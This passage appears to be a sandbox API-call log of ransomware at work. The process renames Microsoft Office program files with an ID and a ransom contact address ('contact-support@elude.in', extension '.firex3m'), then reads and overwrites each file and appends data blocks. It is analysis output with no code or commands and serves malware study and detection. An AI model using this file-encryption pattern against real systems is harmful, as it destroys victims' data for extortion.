(in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.617] WriteFile (in: hFile=0x688, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.617] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.617] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.618] CloseHandle (hObject=0x688) returned 1 [0182.618] GetProcessHeap () returned 0x630000 [0182.618] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0182.618] GetProcessHeap () returned 0x630000 [0182.618] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0182.618] GetProcessHeap () returned 0x630000 [0182.618] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0182.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x32ccb1a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0x9b47496, dwReserved1=0x778915ca, cFileName="STEEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STEELC~1.FIR")) returned 0x6d53c0 [0182.618] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.618] Sleep (dwMilliseconds=0x1) [0182.636] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD", len=0x3e | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD") returned 1 [0182.636] GetProcessHeap () returned 0x630000 [0182.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a54) returned 0x707d3d0 [0182.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.637] CloseHandle (hObject=0x688) returned 1 [0182.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.638] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x644, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPACEV~1.FIR")) returned 0x6d4ec0 [0182.638] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0182.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.638] GetProcessHeap () returned 0x630000 [0182.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x661) returned 0x71eca30 [0182.638] GetProcessHeap () returned 0x630000 [0182.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x661) returned 0x6ff0118 [0182.638] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.638] ReadFile (in: hFile=0x688, lpBuffer=0x71eca30, nNumberOfBytesToRead=0x640, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eca30*, lpNumberOfBytesRead=0x69bff0c*=0x640, lpOverlapped=0x0) returned 1 [0182.646] GetProcessHeap () returned 0x630000 [0182.646] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0182.646] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.646] WriteFile (in: hFile=0x688, lpBuffer=0x6ff0118*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0118*, lpNumberOfBytesWritten=0x69bff0c*=0x640, lpOverlapped=0x0) returned 1 [0182.646] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.646] WriteFile (in: hFile=0x688, lpBuffer=0x6ff0757*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0757*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.646] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.646] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.646] CloseHandle (hObject=0x688) returned 1 [0182.647] GetProcessHeap () returned 0x630000 [0182.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff0118 | out: hHeap=0x630000) returned 1 [0182.647] GetProcessHeap () returned 0x630000 [0182.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eca30 | out: hHeap=0x630000) returned 1 [0182.647] GetProcessHeap () returned 0x630000 [0182.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0182.647] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x32d17800, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x9b47496, dwReserved1=0x71eca28, cFileName="SPACE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPACEV~1.FIR")) returned 0x6d5280 [0182.647] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.647] Sleep (dwMilliseconds=0x1) [0182.675] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT", len=0x4b | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT") returned 1 [0182.675] GetProcessHeap () returned 0x630000 [0182.675] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a48) returned 0x707d3d0 [0182.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.675] CloseHandle (hObject=0x688) returned 1 [0182.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~3.FIR")) returned 0x6d5280 [0182.677] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.677] GetProcessHeap () returned 0x630000 [0182.677] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa92e8 [0182.677] GetProcessHeap () returned 0x630000 [0182.677] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa93d8 [0182.677] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.677] ReadFile (in: hFile=0x688, lpBuffer=0x6fa92e8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa92e8*, lpNumberOfBytesRead=0x69bff0c*=0xc0, lpOverlapped=0x0) returned 1 [0184.731] GetProcessHeap () returned 0x630000 [0184.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0184.731] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.731] WriteFile (in: hFile=0x688, lpBuffer=0x6fa93d8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa93d8*, lpNumberOfBytesWritten=0x69bff0c*=0xc0, lpOverlapped=0x0) returned 1 [0184.731] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.731] WriteFile (in: hFile=0x688, lpBuffer=0x6fa9497*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9497*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.732] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.732] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.732] CloseHandle (hObject=0x688) returned 1 [0184.732] GetProcessHeap () returned 0x630000 [0184.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa93d8 | out: hHeap=0x630000) returned 1 [0184.732] GetProcessHeap () returned 0x630000 [0184.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa92e8 | out: hHeap=0x630000) returned 1 [0184.732] GetProcessHeap () returned 0x630000 [0184.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0184.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x340f61ed, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfa, dwReserved0=0x69bfd20, dwReserved1=0x6fa92e8, cFileName="SKYPEFB_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYPEF~3.FIR")) returned 0x6d53c0 [0184.732] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0184.732] Sleep (dwMilliseconds=0x1) [0186.796] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx", len=0x4e | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx") returned 1 [0186.797] GetProcessHeap () returned 0x630000 [0186.797] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29d0) returned 0x707d3d0 [0186.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0186.798] CloseHandle (hObject=0x4dc) returned 1 [0186.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.799] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f42, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORD20~2.FIR")) returned 0x6d53c0 [0186.800] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0186.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0186.800] GetProcessHeap () returned 0x630000 [0186.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x6ef738 [0186.801] GetProcessHeap () returned 0x630000 [0186.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x70eb590 [0186.801] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.801] ReadFile (in: hFile=0x4dc, lpBuffer=0x6ef738, nNumberOfBytesToRead=0x2f40, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef738*, lpNumberOfBytesRead=0x69bff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0188.827] GetProcessHeap () returned 0x630000 [0188.827] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0188.827] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.827] WriteFile (in: hFile=0x4dc, lpBuffer=0x70eb590*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70eb590*, lpNumberOfBytesWritten=0x69bff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0188.827] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x4dc, lpBuffer=0x70ee4cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ee4cf*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0188.828] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0188.828] CloseHandle (hObject=0x4dc) returned 1 [0188.828] GetProcessHeap () returned 0x630000 [0188.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70eb590 | out: hHeap=0x630000) returned 1 [0188.828] GetProcessHeap () returned 0x630000 [0188.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef738 | out: hHeap=0x630000) returned 1 [0188.828] GetProcessHeap () returned 0x630000 [0188.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0188.828] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x367facc4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f66, dwReserved0=0x9b47496, dwReserved1=0x6ef730, cFileName="word2013.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORD20~2.FIR")) returned 0x6d5480 [0188.829] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0188.829] Sleep (dwMilliseconds=0x1) [0191.093] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", len=0x3b | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man") returned 1 [0191.093] GetProcessHeap () returned 0x630000 [0191.093] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x4604) returned 0x74656a8 [0191.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0191.094] CloseHandle (hObject=0x5e4) returned 1 [0191.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDET~1.FIR")) returned 0x6d4f40 [0191.096] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0191.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0191.096] GetProcessHeap () returned 0x630000 [0191.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0191.096] GetProcessHeap () returned 0x630000 [0191.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0191.096] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.096] ReadFile (in: hFile=0x5e4, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.268] GetProcessHeap () returned 0x630000 [0195.268] 